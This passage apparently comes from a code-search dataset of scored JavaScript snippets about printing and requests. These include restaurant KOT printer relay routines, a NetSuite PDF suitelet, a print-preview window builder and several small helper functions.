\"scalebarUnit\": \"Miles\"\n };\n return plate;\n });\n\n // create the print dijit\n printer = new Print({\n \"map\": mapp,\n \"templates\": templates,\n url: printUrl\n }, dom.byId(\"print_button\"));\n printer.startup();\n }", "title": "" }, { "docid": "82cc85261eb1ee6a1114c3f9d5b9f0e3", "score": "0.52235246", "text": "function printKOTRequestDuplicate(data, optionalSource){\n\n var obj = data;\n var original_order_object_cart = obj.cart;\n\n var isKOTRelayingEnabled = window.localStorage.appOtherPreferences_KOTRelayEnabled ? (window.localStorage.appOtherPreferences_KOTRelayEnabled == 1 ? true : false) : false;\n var isKOTRelayingEnabledOnDefault = window.localStorage.appOtherPreferences_KOTRelayEnabledDefaultKOT ? (window.localStorage.appOtherPreferences_KOTRelayEnabledDefaultKOT == 1 ? true : false) : false;\n\n var default_set_KOT_printer = window.localStorage.systemOptionsSettings_defaultKOTPrinter ? window.localStorage.systemOptionsSettings_defaultKOTPrinter : '';\n var default_set_KOT_printer_data = null;\n var only_KOT_printer = null;\n\n\n findDefaultKOTPrinter();\n\n function findDefaultKOTPrinter() {\n\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n\n var g = 0;\n while (allConfiguredPrintersList[g]) {\n\n if (allConfiguredPrintersList[g].type == 'KOT') {\n for (var a = 0; a < allConfiguredPrintersList[g].list.length; a++) {\n if (allConfiguredPrintersList[g].list[a].name == default_set_KOT_printer) {\n default_set_KOT_printer_data = allConfiguredPrintersList[g].list[a];\n } else if (only_KOT_printer == null) {\n only_KOT_printer = allConfiguredPrintersList[g].list[a];\n }\n }\n\n break;\n }\n\n g++;\n }\n }\n\n if (default_set_KOT_printer_data == null) {\n default_set_KOT_printer_data = only_KOT_printer;\n }\n\n\n if (isKOTRelayingEnabled) {\n\n showPrintingAnimation();\n\n var relayRuleList = window.localStorage.custom_kot_relays ? JSON.parse(window.localStorage.custom_kot_relays) : [];\n var relaySkippedItems = [];\n\n populateRelayRules();\n\n function populateRelayRules() {\n var n = 0;\n while (relayRuleList[n]) {\n\n relayRuleList[n].subcart = [];\n\n for (var i = 0; i < obj.cart.length; i++) {\n if (obj.cart[i].category == relayRuleList[n].name && relayRuleList[n].printer != '') {\n relayRuleList[n].subcart.push(obj.cart[i]);\n }\n }\n\n if (n == relayRuleList.length - 1) {\n generateRelaySkippedItems();\n }\n\n n++;\n }\n\n if (relayRuleList.length == 0) {\n generateRelaySkippedItems();\n }\n }\n\n function generateRelaySkippedItems() {\n var m = 0;\n while (obj.cart[m]) {\n\n if (relayRuleList.length != 0) {\n for (var i = 0; i < relayRuleList.length; i++) {\n if (obj.cart[m].category == relayRuleList[i].name && relayRuleList[i].printer != '') {\n //item found\n break;\n }\n\n if (i == relayRuleList.length - 1) { //last iteration and item not found\n relaySkippedItems.push(obj.cart[m])\n }\n }\n } else { //no relays set, skip all items\n relaySkippedItems.push(obj.cart[m]);\n }\n\n if (m == obj.cart.length - 1) {\n\n //Print Relay Skipped items (if exists)\n var relay_skipped_obj = obj;\n relay_skipped_obj.cart = relaySkippedItems;\n\n if (relaySkippedItems.length > 0) {\n\n //sendToPrinter(relay_skipped_obj, 'DUPLICATE_KOT');\n\n var defaultKOTPrinter = window.localStorage.systemOptionsSettings_defaultKOTPrinter ? window.localStorage.systemOptionsSettings_defaultKOTPrinter : '';\n\n if (defaultKOTPrinter == '') {\n sendToPrinter(relay_skipped_obj, 'DUPLICATE_KOT');\n if (isKOTRelayingEnabledOnDefault) {\n sendToPrinter(relay_skipped_obj, 'DUPLICATE_KOT', default_set_KOT_printer_data);\n\n printRelayedKOT(relayRuleList);\n } else {\n var preserved_order = obj;\n preserved_order.cart = original_order_object_cart;\n sendToPrinter(preserved_order, 'DUPLICATE_KOT', default_set_KOT_printer_data);\n\n printRelayedKOT(relayRuleList);\n }\n\n } else {\n\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n var selected_printer = '';\n\n var g = 0;\n while (allConfiguredPrintersList[g]) {\n if (allConfiguredPrintersList[g].type == 'KOT') {\n for (var a = 0; a < allConfiguredPrintersList[g].list.length; a++) {\n if (allConfiguredPrintersList[g].list[a].name == defaultKOTPrinter) {\n selected_printer = allConfiguredPrintersList[g].list[a];\n\n if (isKOTRelayingEnabledOnDefault) {\n sendToPrinter(relay_skipped_obj, 'DUPLICATE_KOT', default_set_KOT_printer_data);\n\n printRelayedKOT(relayRuleList);\n } else {\n var preserved_order = obj;\n preserved_order.cart = original_order_object_cart;\n sendToPrinter(preserved_order, 'DUPLICATE_KOT', default_set_KOT_printer_data);\n\n printRelayedKOT(relayRuleList);\n }\n\n break;\n }\n }\n }\n\n\n if (g == allConfiguredPrintersList.length - 1) {\n if (selected_printer == '') { //No printer found, print on default!\n if (isKOTRelayingEnabledOnDefault) {\n sendToPrinter(relay_skipped_obj, 'DUPLICATE_KOT', default_set_KOT_printer_data);\n\n printRelayedKOT(relayRuleList);\n } else {\n var preserved_order = obj;\n preserved_order.cart = original_order_object_cart;\n sendToPrinter(preserved_order, 'DUPLICATE_KOT', default_set_KOT_printer_data);\n\n printRelayedKOT(relayRuleList);\n }\n }\n }\n\n g++;\n }\n }\n } else {\n if (!isKOTRelayingEnabledOnDefault) {\n var preserved_order = obj;\n preserved_order.cart = original_order_object_cart;\n\n sendToPrinter(preserved_order, 'DUPLICATE_KOT', default_set_KOT_printer_data);\n\n printRelayedKOT(relayRuleList);\n } else {\n printRelayedKOT(relayRuleList, 'NO_DELAY_PLEASE');\n }\n }\n\n\n\n }\n\n m++;\n }\n }\n\n function printRelayedKOT(relayedList, optionalRequest) {\n\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n var g = 0;\n var allPrintersList = [];\n\n while (allConfiguredPrintersList[g]) {\n\n if (allConfiguredPrintersList[g].type == 'KOT') { //filter only KOT Printers\n for (var a = 0; a < allConfiguredPrintersList[g].list.length; a++) {\n allPrintersList.push({\n \"name\": allConfiguredPrintersList[g].list[a].name,\n \"target\": allConfiguredPrintersList[g].list[a].target,\n \"template\": allConfiguredPrintersList[g].list[a]\n });\n }\n\n //Start relay after some significant delay. \n //Printing of relay skipped items might not be completed yet...\n if (optionalRequest == 'NO_DELAY_PLEASE') {\n startRelayPrinting(0);\n } else {\n setTimeout(function() {\n startRelayPrinting(0);\n }, 3000);\n }\n\n break;\n }\n\n if (g == allConfiguredPrintersList.length - 1) {\n if (optionalRequest == 'NO_DELAY_PLEASE') {\n startRelayPrinting(0);\n } else {\n setTimeout(function() {\n startRelayPrinting(0);\n }, 3000);\n }\n }\n\n g++;\n }\n\n\n function startRelayPrinting(index) {\n\n console.log('Relay Print - Round ' + index + ' on ' + allPrintersList[index].name);\n\n var relayedItems = [];\n for (var i = 0; i < relayedList.length; i++) {\n if (relayedList[i].subcart.length > 0 && relayedList[i].printer == allPrintersList[index].name) {\n relayedItems = relayedItems.concat(relayedList[i].subcart)\n }\n\n if (i == relayedList.length - 1) { //last iteration\n if (relayedItems.length > 0) {\n var relayedNewObj = obj;\n relayedNewObj.cart = relayedItems;\n\n sendToPrinter(relayedNewObj, 'DUPLICATE_KOT', allPrintersList[index].template);\n\n if (allPrintersList[index + 1]) {\n //go to next after some delay\n setTimeout(function() {\n startRelayPrinting(index + 1);\n }, 3000);\n } else {\n finishPrintingAnimation();\n removeKOTPrintRequest(data._id, data._rev, data.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000);\n }\n } else {\n //There are no items to relay. Go to next.\n if (allPrintersList[index + 1]) {\n startRelayPrinting(index + 1);\n } else {\n finishPrintingAnimation();\n removeKOTPrintRequest(data._id, data._rev, data.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000);\n }\n }\n }\n }\n }\n\n }\n } else { //no relay (normal case)\n\n var defaultKOTPrinter = window.localStorage.systemOptionsSettings_defaultKOTPrinter ? window.localStorage.systemOptionsSettings_defaultKOTPrinter : '';\n\n if (defaultKOTPrinter == '') {\n sendToPrinter(obj, 'DUPLICATE_KOT');\n removeKOTPrintRequest(data._id, data._rev, data.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000);\n } else {\n\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n var selected_printer = '';\n\n var g = 0;\n while (allConfiguredPrintersList[g]) {\n if (allConfiguredPrintersList[g].type == 'KOT') {\n for (var a = 0; a < allConfiguredPrintersList[g].list.length; a++) {\n if (allConfiguredPrintersList[g].list[a].name == defaultKOTPrinter) {\n selected_printer = allConfiguredPrintersList[g].list[a];\n sendToPrinter(obj, 'DUPLICATE_KOT', selected_printer);\n removeKOTPrintRequest(data._id, data._rev, data.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000);\n \n break;\n }\n }\n }\n\n\n if (g == allConfiguredPrintersList.length - 1) {\n if (selected_printer == '') { //No printer found, print on default!\n sendToPrinter(obj, 'DUPLICATE_KOT');\n removeKOTPrintRequest(data._id, data._rev, data.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000);\n }\n }\n\n g++;\n }\n }\n\n } \n}", "title": "" }, { "docid": "1c60641cc1133c295af37ac1eba15399", "score": "0.5221795", "text": "function createAddressRequest() {\n console.info('createAddressRequest');\n return {\n type: ADDRESSBOOK_CREATE_REQUEST\n };\n}", "title": "" }, { "docid": "8ae6d241ca50fbbf6c1761b5156481ce", "score": "0.5193413", "text": "function newPrinter() {\n\n}", "title": "" }, { "docid": "71377cd2a5bb327e9b983258d97eaa01", "score": "0.5178437", "text": "function createStunRequest(){\n // Create the offer that exposes the IP addresses.\n return createdConnection.createOffer().then(sdp => createdConnection.setLocalDescription(sdp));\n }", "title": "" }, { "docid": "8c046565655bc8a0776e43972baf5445", "score": "0.51561457", "text": "function printDuplicateTapsKOT(data, requestData){\n\n\n var obj = data;\n var original_order_object_cart = obj.cart;\n \n var isKOTRelayingEnabled = window.localStorage.appOtherPreferences_KOTRelayEnabled ? (window.localStorage.appOtherPreferences_KOTRelayEnabled == 1 ? true : false) : false;\n var isKOTRelayingEnabledOnDefault = window.localStorage.appOtherPreferences_KOTRelayEnabledDefaultKOT ? (window.localStorage.appOtherPreferences_KOTRelayEnabledDefaultKOT == 1 ? true : false) : false;\n\n var default_set_KOT_printer = window.localStorage.systemOptionsSettings_defaultKOTPrinter ? window.localStorage.systemOptionsSettings_defaultKOTPrinter : '';\n var default_set_KOT_printer_data = null;\n var only_KOT_printer = null;\n\n\n findDefaultKOTPrinter();\n\n function findDefaultKOTPrinter(){\n\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n\n var g = 0;\n while(allConfiguredPrintersList[g]){\n\n if(allConfiguredPrintersList[g].type == 'KOT'){\n for(var a = 0; a < allConfiguredPrintersList[g].list.length; a++){\n if(allConfiguredPrintersList[g].list[a].name == default_set_KOT_printer){\n default_set_KOT_printer_data = allConfiguredPrintersList[g].list[a];\n }\n else if(only_KOT_printer == null){\n only_KOT_printer = allConfiguredPrintersList[g].list[a];\n }\n }\n\n break;\n }\n \n g++;\n }\n }\n\n if(default_set_KOT_printer_data == null){\n default_set_KOT_printer_data = only_KOT_printer;\n }\n \n\n\n\n if(isKOTRelayingEnabled){\n\n showPrintingAnimation();\n\n var relayRuleList = window.localStorage.custom_kot_relays ? JSON.parse(window.localStorage.custom_kot_relays) : [];\n var relaySkippedItems = [];\n\n populateRelayRules();\n\n function populateRelayRules(){\n var n = 0;\n while(relayRuleList[n]){\n\n relayRuleList[n].subcart = [];\n\n for(var i = 0; i < obj.cart.length; i++){\n if(obj.cart[i].category == relayRuleList[n].name && relayRuleList[n].printer != ''){\n relayRuleList[n].subcart.push(obj.cart[i]);\n }\n } \n\n if(n == relayRuleList.length - 1){\n generateRelaySkippedItems();\n }\n\n n++;\n }\n\n if(relayRuleList.length == 0){\n generateRelaySkippedItems();\n }\n }\n\n function generateRelaySkippedItems(){\n var m = 0;\n while(obj.cart[m]){\n\n if(relayRuleList.length != 0){\n for(var i = 0; i < relayRuleList.length; i++){\n if(obj.cart[m].category == relayRuleList[i].name && relayRuleList[i].printer != ''){\n //item found\n break;\n }\n\n if(i == relayRuleList.length - 1){ //last iteration and item not found\n relaySkippedItems.push(obj.cart[m])\n }\n }\n }\n else{ //no relays set, skip all items\n relaySkippedItems.push(obj.cart[m]);\n } \n\n if(m == obj.cart.length - 1){\n\n //Print Relay Skipped items (if exists)\n var relay_skipped_obj = obj;\n relay_skipped_obj.cart = relaySkippedItems;\n \n if(relaySkippedItems.length > 0){\n \n //sendToPrinter(relay_skipped_obj, 'DUPLICATE_KOT');\n\n var defaultKOTPrinter = window.localStorage.systemOptionsSettings_defaultKOTPrinter ? window.localStorage.systemOptionsSettings_defaultKOTPrinter : '';\n \n if(defaultKOTPrinter == ''){\n sendToPrinter(relay_skipped_obj, 'DUPLICATE_KOT');\n if(isKOTRelayingEnabledOnDefault){\n sendToPrinter(relay_skipped_obj, 'DUPLICATE_KOT', default_set_KOT_printer_data);\n \n printRelayedKOT(relayRuleList); \n }\n else{\n var preserved_order = obj;\n preserved_order.cart = original_order_object_cart;\n sendToPrinter(preserved_order, 'DUPLICATE_KOT', default_set_KOT_printer_data);\n \n printRelayedKOT(relayRuleList); \n }\n\n }\n else{\n \n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n var selected_printer = '';\n\n var g = 0;\n while(allConfiguredPrintersList[g]){\n if(allConfiguredPrintersList[g].type == 'KOT'){\n for(var a = 0; a < allConfiguredPrintersList[g].list.length; a++){\n if(allConfiguredPrintersList[g].list[a].name == defaultKOTPrinter){\n selected_printer = allConfiguredPrintersList[g].list[a];\n \n if(isKOTRelayingEnabledOnDefault){\n sendToPrinter(relay_skipped_obj, 'DUPLICATE_KOT', default_set_KOT_printer_data);\n \n printRelayedKOT(relayRuleList); \n }\n else{\n var preserved_order = obj;\n preserved_order.cart = original_order_object_cart;\n sendToPrinter(preserved_order, 'DUPLICATE_KOT', default_set_KOT_printer_data);\n \n printRelayedKOT(relayRuleList); \n }\n\n break;\n }\n }\n }\n \n\n if(g == allConfiguredPrintersList.length - 1){\n if(selected_printer == ''){ //No printer found, print on default!\n if(isKOTRelayingEnabledOnDefault){\n sendToPrinter(relay_skipped_obj, 'DUPLICATE_KOT', default_set_KOT_printer_data);\n \n printRelayedKOT(relayRuleList); \n }\n else{\n var preserved_order = obj;\n preserved_order.cart = original_order_object_cart;\n sendToPrinter(preserved_order, 'DUPLICATE_KOT', default_set_KOT_printer_data);\n \n printRelayedKOT(relayRuleList); \n }\n }\n }\n \n g++;\n }\n } \n }\n else{\n if(!isKOTRelayingEnabledOnDefault){\n var preserved_order = obj;\n preserved_order.cart = original_order_object_cart;\n\n sendToPrinter(preserved_order, 'DUPLICATE_KOT', default_set_KOT_printer_data);\n \n printRelayedKOT(relayRuleList); \n } \n else{\n printRelayedKOT(relayRuleList, 'NO_DELAY_PLEASE'); \n }\n }\n\n \n \n }\n\n m++;\n }\n }\n\n function printRelayedKOT(relayedList, optionalRequest){\n\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n var g = 0;\n var allPrintersList = [];\n\n while(allConfiguredPrintersList[g]){\n\n if(allConfiguredPrintersList[g].type == 'KOT'){ //filter only KOT Printers\n for(var a = 0; a < allConfiguredPrintersList[g].list.length; a++){\n allPrintersList.push({\n \"name\": allConfiguredPrintersList[g].list[a].name,\n \"target\": allConfiguredPrintersList[g].list[a].target,\n \"template\": allConfiguredPrintersList[g].list[a]\n });\n }\n\n //Start relay after some significant delay. \n //Printing of relay skipped items might not be completed yet...\n if(optionalRequest == 'NO_DELAY_PLEASE'){\n startRelayPrinting(0);\n }\n else{\n setTimeout(function(){ \n startRelayPrinting(0);\n }, 3000);\n }\n\n break;\n }\n\n if(g == allConfiguredPrintersList.length - 1){\n if(optionalRequest == 'NO_DELAY_PLEASE'){\n startRelayPrinting(0);\n }\n else{\n setTimeout(function(){ \n startRelayPrinting(0);\n }, 3000);\n }\n }\n \n g++;\n }\n\n\n function startRelayPrinting(index){\n \n console.log('Relay Print - Round '+index+' on '+allPrintersList[index].name);\n \n var relayedItems = [];\n for(var i = 0; i < relayedList.length; i++){\n if(relayedList[i].subcart.length > 0 && relayedList[i].printer == allPrintersList[index].name){\n relayedItems = relayedItems.concat(relayedList[i].subcart) \n }\n\n if(i == relayedList.length - 1){ //last iteration\n if(relayedItems.length > 0){\n var relayedNewObj = obj;\n relayedNewObj.cart = relayedItems;\n\n sendToPrinter(relayedNewObj, 'DUPLICATE_KOT', allPrintersList[index].template);\n\n if(allPrintersList[index+1]){\n //go to next after some delay\n setTimeout(function(){ \n startRelayPrinting(index+1);\n }, 3000);\n }\n else{\n finishPrintingAnimation();\n removeAlreadyProccessedActionRequest(requestData._id, requestData._rev);\n \n //go starting again, after some cool off.\n setTimeout(function(){ initialiseProcessing(); }, 5000);\n \n }\n }\n else{\n //There are no items to relay. Go to next.\n if(allPrintersList[index+1]){\n startRelayPrinting(index+1);\n }\n else{\n finishPrintingAnimation();\n removeAlreadyProccessedActionRequest(requestData._id, requestData._rev);\n \n //go starting again, after some cool off.\n setTimeout(function(){ initialiseProcessing(); }, 5000);\n \n }\n }\n }\n }\n }\n \n\n }\n }\n else{ //no relay (normal case)\n \n var defaultKOTPrinter = window.localStorage.systemOptionsSettings_defaultKOTPrinter ? window.localStorage.systemOptionsSettings_defaultKOTPrinter : '';\n \n if(defaultKOTPrinter == ''){\n sendToPrinter(obj, 'DUPLICATE_KOT');\n removeAlreadyProccessedActionRequest(requestData._id, requestData._rev);\n \n //go starting again, after some cool off.\n setTimeout(function(){ initialiseProcessing(); }, 5000);\n \n }\n else{\n \n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n var selected_printer = '';\n\n var g = 0;\n while(allConfiguredPrintersList[g]){\n if(allConfiguredPrintersList[g].type == 'KOT'){\n for(var a = 0; a < allConfiguredPrintersList[g].list.length; a++){\n if(allConfiguredPrintersList[g].list[a].name == defaultKOTPrinter){\n selected_printer = allConfiguredPrintersList[g].list[a];\n sendToPrinter(obj, 'DUPLICATE_KOT', selected_printer);\n removeAlreadyProccessedActionRequest(requestData._id, requestData._rev);\n \n //go starting again, after some cool off.\n setTimeout(function(){ initialiseProcessing(); }, 5000);\n \n break;\n }\n }\n }\n \n\n if(g == allConfiguredPrintersList.length - 1){\n if(selected_printer == ''){ //No printer found, print on default!\n sendToPrinter(obj, 'DUPLICATE_KOT');\n removeAlreadyProccessedActionRequest(requestData._id, requestData._rev);\n \n //go starting again, after some cool off.\n setTimeout(function(){ initialiseProcessing(); }, 5000);\n \n }\n }\n \n g++;\n }\n }\n \n }\n}", "title": "" }, { "docid": "1cd4c5fc59e5fecc22893892f9724abb", "score": "0.515355", "text": "function emailWater_Request() {\n}", "title": "" }, { "docid": "474450bfb845cdc87b769e638702dd59", "score": "0.5053918", "text": "function getPrint(print_area)\n\n{\n\n//Creating new page\n\nvar pp = window.open();\n\n//Adding HTML opening tag with <HEAD> … </HEAD> portion\n// Add logic to dynamically set the title or change it back to \"Print Preview\"\npp.document.writeln('<HTML><HEAD><title>Eating Contract</title>')\n\npp.document.writeln('<LINK href=Styles.css type=\"text/css\" rel=\"stylesheet\">')\n\npp.document.writeln('<LINK href=PrintStyle.css type=\"text/css\" rel=\"stylesheet\" media=\"print\">')\n\npp.document.writeln('<base target=\"_self\"></HEAD>')\n\n//Adding Body Tag\n\npp.document.writeln('<body MS_POSITIONING=\"GridLayout\" bottomMargin=\"0\"');\n\npp.document.writeln(' leftMargin=\"0\" topMargin=\"0\" rightMargin=\"0\">');\n\n//Adding form Tag\n\npp.document.writeln('<form method=\"post\">');\n\npp.document.writeln('<TABLE cellSpacing=20 width=100% ><TR><TD align=center>');\n\npp.document.writeln('<TR><TD>');\n//Writing print area of the calling page\n\npp.document.writeln(document.getElementById(print_area).innerHTML);\n\npp.document.writeln('</TD></TR></TABLE>');\n//Creating two buttons Print and Close within a HTML table\n\npp.document.writeln('<TABLE width=100%><TR><TD></TD></TR><TR><TD align=center>');\n\npp.document.writeln('<INPUT ID=\"PRINT\" type=\"button\" value=\"Print\" ');\n\npp.document.writeln('onclick=\"javascript:location.reload(true);window.print();\">');\n\npp.document.writeln('<INPUT ID=\"CLOSE\" type=\"button\" value=\"Close\" onclick=\"window.close();\">');\n\npp.document.writeln('</TD></TR><TR><TD></TD></TR></TABLE>');\n\n//Ending Tag of </form>, </body> and </HTML>\n\npp.document.writeln('</form></body></HTML>');\n\n}", "title": "" }, { "docid": "2c1477f6896ea5f75908a7db443bd142", "score": "0.5007065", "text": "function suitelet(request, response){\r\n\r\n\tif ( request.getMethod() == 'GET') {\r\n\t\t\r\n \t//Create form\r\n \tvar form = nlapiCreateForm('Create PDFs');\r\n \t\r\n\t\tvar js_from_date = form.addField('custpage_from_date', 'date', 'Date From', null, null);\r\n\t\tvar js_to_date = form.addField('custpage_to_date', 'date', 'Date To', null, null);\r\n\t\tvar js_order_type = form.addField('custpage_order_type', 'select', 'Order Type', 'customlistsales_order_type', null);\r\n\t\tvar js_so_number = form.addField('custpage_so_number', 'text', 'J6 SO number', null, null);\r\n\t\tvar js_country = form.addField('custpage_country', 'select', 'Country');\r\n\t\tvar js_value = form.addField('custpage_so_value', 'select', 'Order Value');\r\n\t\tjs_country.addSelectOption('AU', 'Australia');\r\n\t\tjs_country.addSelectOption('NZ', 'New Zealand');\r\n\t\tjs_value.addSelectOption('less300', '<300$');\r\n\t\tjs_value.addSelectOption('more300', '>=300$');\r\n\t\r\n\t\tvar js_label_message = form.addField('custpage_label_message', 'select', 'Bag Label Message', 'customlist_bag_label_message', null);\r\n\t\tjs_label_message.setDefaultValue('1');\r\n\t\t\r\n\t\tvar js_email = form.addField('custpage_email', 'email', 'Email To:', null, null);\r\n\t\tvar js_backorders = form.addField('custpage_backorders', 'checkbox', 'Backorders Only', null, null);\r\n\t\tvar js_user_email = nlapiGetContext().getEmail();\r\n\t\t\r\n\t\tjs_email.setDefaultValue(js_user_email);\r\n\r\n form.addSubmitButton('Print Orders');\r\n response.writePage(form);\r\n }\r\n else {\r\n \t\r\n\t\tvar params = request.getAllParameters();\r\n var js_from_date = params['custpage_from_date'];\r\n\t\tvar js_to_date = params['custpage_to_date'];\r\n\t\tvar js_order_type = params['custpage_order_type'];\r\n\t\tvar js_email = params['custpage_email'];\r\n\t\tvar js_message = params['custpage_label_message'];\r\n\t\tvar js_so_number = params['custpage_so_number'];\r\n\t\tvar js_include_backorders = params['custpage_backorders'];\r\n\t\tvar js_country = params['custpage_country'];\r\n\t\tvar js_value = params['custpage_so_value'];\r\n\t\t\r\n\t\tvar ssparams = new Array();\r\n\t\tssparams['custscript_from_date1'] = js_from_date;\r\n\t\tssparams['custscript_to_date1'] = js_to_date;\r\n\t\tssparams['custscript_order_type1'] = js_order_type;\r\n\t\tssparams['custscript_email1'] = js_email;\r\n\t\tssparams['custscript_message1'] = js_message;\r\n\t\tssparams['custscript_so_id1'] = js_so_number;\r\n\t\tssparams['custscript_include_backorders1'] = js_include_backorders;\r\n\t\tssparams['custscript_country1'] = js_country;\r\n\t\tssparams['custscript_js_value1'] = js_value;\r\n\t\t\r\n//\t\tresponse.write(js_from_date + ',' + js_to_date+ ',' + js_order_type\r\n//\t\t\t\t+ ',' + js_email\r\n//\t\t\t\t+ ',' + js_message\r\n//\t\t\t\t+ ',' + js_so_number\r\n//\t\t\t\t+ ',' + js_include_backorders\r\n//\t\t\t\t+ ',' + js_country\r\n//\t\t\t\t+ ',' + js_value);\r\n\t\t\r\n\t\tvar status = nlapiScheduleScript('customscript_create_pdf_ss_new', null, ssparams);\r\n\t\tresponse.sendRedirect('TASKLINK', 'LIST_TRAN_SALESORD');\r\n\t}\t\r\n}", "title": "" }, { "docid": "3fcc15375737629d7fb05fe4168b89ee", "score": "0.5006885", "text": "function printWater_Advice() {\n}", "title": "" }, { "docid": "9dc52c283b3b152b6430d0b187d5c57f", "score": "0.49720383", "text": "function generateEOD(request) {\n let shipDate = new Date(request.ship_date);\n let weight = request.total_weight;\n\n return {\n data: [\n {\n tracking_number: Buffer.from(new Date().toISOString()).toString(\"base64\").toUpperCase(),\n },\n {\n tracking_number: Buffer.from(new Date().toISOString()).toString(\"base64\").toUpperCase(),\n }],\n }\n}", "title": "" }, { "docid": "cd54883cb5d6433b1cb3038b801021cf", "score": "0.49516907", "text": "function printCreate(req, res, next) {\n // Create the guest.\n create(\n req.body.firstName,\n req.body.lastName,\n req.body.accessibility\n )\n .then((guest) => {\n // Find the guest.\n return find(guest.id)\n .then((foundGuest) => {\n res.status(201).json(foundGuest);\n });\n })\n // Errors.\n .catch(next);\n}", "title": "" }, { "docid": "b66e83db673d6420036607279ea93c8b", "score": "0.49220333", "text": "_getDictForDisplay() {\n const forPrinting = {\n ...this,\n };\n forPrinting.tag = forPrinting.tag.toString();\n forPrinting.from = address.encodeAddress(forPrinting.from.publicKey);\n if (forPrinting.to !== undefined)\n forPrinting.to = address.encodeAddress(forPrinting.to.publicKey);\n // things that need fixing:\n if (forPrinting.closeRemainderTo !== undefined)\n forPrinting.closeRemainderTo = address.encodeAddress(forPrinting.closeRemainderTo.publicKey);\n if (forPrinting.assetManager !== undefined)\n forPrinting.assetManager = address.encodeAddress(forPrinting.assetManager.publicKey);\n if (forPrinting.assetReserve !== undefined)\n forPrinting.assetReserve = address.encodeAddress(forPrinting.assetReserve.publicKey);\n if (forPrinting.assetFreeze !== undefined)\n forPrinting.assetFreeze = address.encodeAddress(forPrinting.assetFreeze.publicKey);\n if (forPrinting.assetClawback !== undefined)\n forPrinting.assetClawback = address.encodeAddress(forPrinting.assetClawback.publicKey);\n if (forPrinting.assetRevocationTarget !== undefined)\n forPrinting.assetRevocationTarget = address.encodeAddress(forPrinting.assetRevocationTarget.publicKey);\n if (forPrinting.reKeyTo !== undefined)\n forPrinting.reKeyTo = address.encodeAddress(forPrinting.reKeyTo.publicKey);\n forPrinting.genesisHash = forPrinting.genesisHash.toString('base64');\n return forPrinting;\n }", "title": "" }, { "docid": "8b24b8e9970826445c8da90b34a5e55b", "score": "0.49110156", "text": "function buildRequestBody(request, sortOrder, requestHolder)\n{\n let textHolder = buildNode(\"div\", { class : \"textHolder\"/*, \"style\" : \"max-width: calc(100% - 100px)\"*/ });\n let requestTitle = buildRequestTitle(request);\n\n let requestDate = buildNode(\"span\", {}, `Requested: ${DateUtil.getDisplayDate(request.rd)}`);\n Tooltip.setTooltip(requestDate, DateUtil.getFullDate(request.rd));\n\n let updateDate = buildNode(\"span\", {}, `Last Update: ${DateUtil.getDisplayDate(request.ad)}`);\n Tooltip.setTooltip(updateDate, DateUtil.getFullDate(request.ad));\n\n let requester = buildNode(\"span\", {}, `Requested By: ${request.r}`);\n\n let status = buildRequestStatus(request, requestHolder);\n\n let comments = buildNode(\"span\");\n comments.appendChild(buildNode(\"a\", { href : `request.php?id=${request.rid}` }, `${request.c} comment${request.c == 1 ? \"\" : \"s\"}`));\n if (parseInt(request.a) == 1 && request.pid != -1 && document.body.getAttribute(\"mid\") != \"\")\n {\n comments.appendChild(buildNode(\"a\", { href : \"#\", class : \"plexLink\", pid : request.pid }, \"View on Plex\", { click : navigateToPlex }));\n\n }\n\n textHolder.appendChild(requestTitle);\n if (sortOrder == \"ud\" || sortOrder == \"ua\")\n {\n textHolder.appendChildren(updateDate, requestDate);\n }\n else\n {\n textHolder.appendChildren(requestDate, updateDate);\n }\n\n return textHolder.appendChildren(requester, status, comments);\n}", "title": "" }, { "docid": "fd6ccbbdaaa7691a7d367d9aedd623c6", "score": "0.49051413", "text": "buildNowXml(data) {\n const xml = `<Request service='RouteService' lang='zh-CN'>\n <Head>${this.options.devCode},${this.options.checkword}</Head>\n <Body>${data}</Body>\n </Request>`;\n return xml;\n }", "title": "" }, { "docid": "2c0a69f7cbd452e033818704c6a6f295", "score": "0.48947775", "text": "function suiteletFunction_PrintWarrantyPdf(request, response){\r\n\r\n\t/* Suitelet:\r\n\t - EXPLAIN THE PURPOSE OF THIS FUNCTION\r\n\t -\r\n\t FIELDS USED:\r\n\t --Field Name--\t\t\t\t--ID--\r\n\t */\r\n\t// LOCAL VARIABLES\r\n\t\r\n\t\r\n\t// SUITELET CODE BODY\r\n\t\r\n\tif (request.getMethod() == 'GET') {\r\n\t\r\n\t\tvar SORecID = request.getParameter('sorecid');\r\n\t\t//var SORecID = 17806006;\r\n\t\t\r\n\t\tvar o_recordObj = nlapiLoadRecord('salesorder', SORecID)\r\n\t\t\r\n\t\tvar Customer = o_recordObj.getFieldText('entity');\r\n\t\tCustomer = nlapiEscapeXML(Customer);\r\n\t\t\r\n\t\t\r\n\t\tvar OrderDate = o_recordObj.getFieldValue('trandate');\r\n\t\tvar TranID = o_recordObj.getFieldValue('tranid');\r\n\t\t\r\n\t\t\r\n\t\tvar strVar = \"\";\r\n\t\tstrVar += \"<html>\";\r\n\t\tstrVar += \"<head>\";\r\n\t\tstrVar += \"<style>\";\r\n\t\tstrVar += \"table {\";\r\n\t\tstrVar += \" font-family: arial, sans-serif;\";\r\n\t\tstrVar += \" border-collapse: collapse;\";\r\n\t\tstrVar += \" width: 100%;\";\r\n\t\tstrVar += \"}\";\r\n\t\tstrVar += \"\";\r\n\t\tstrVar += 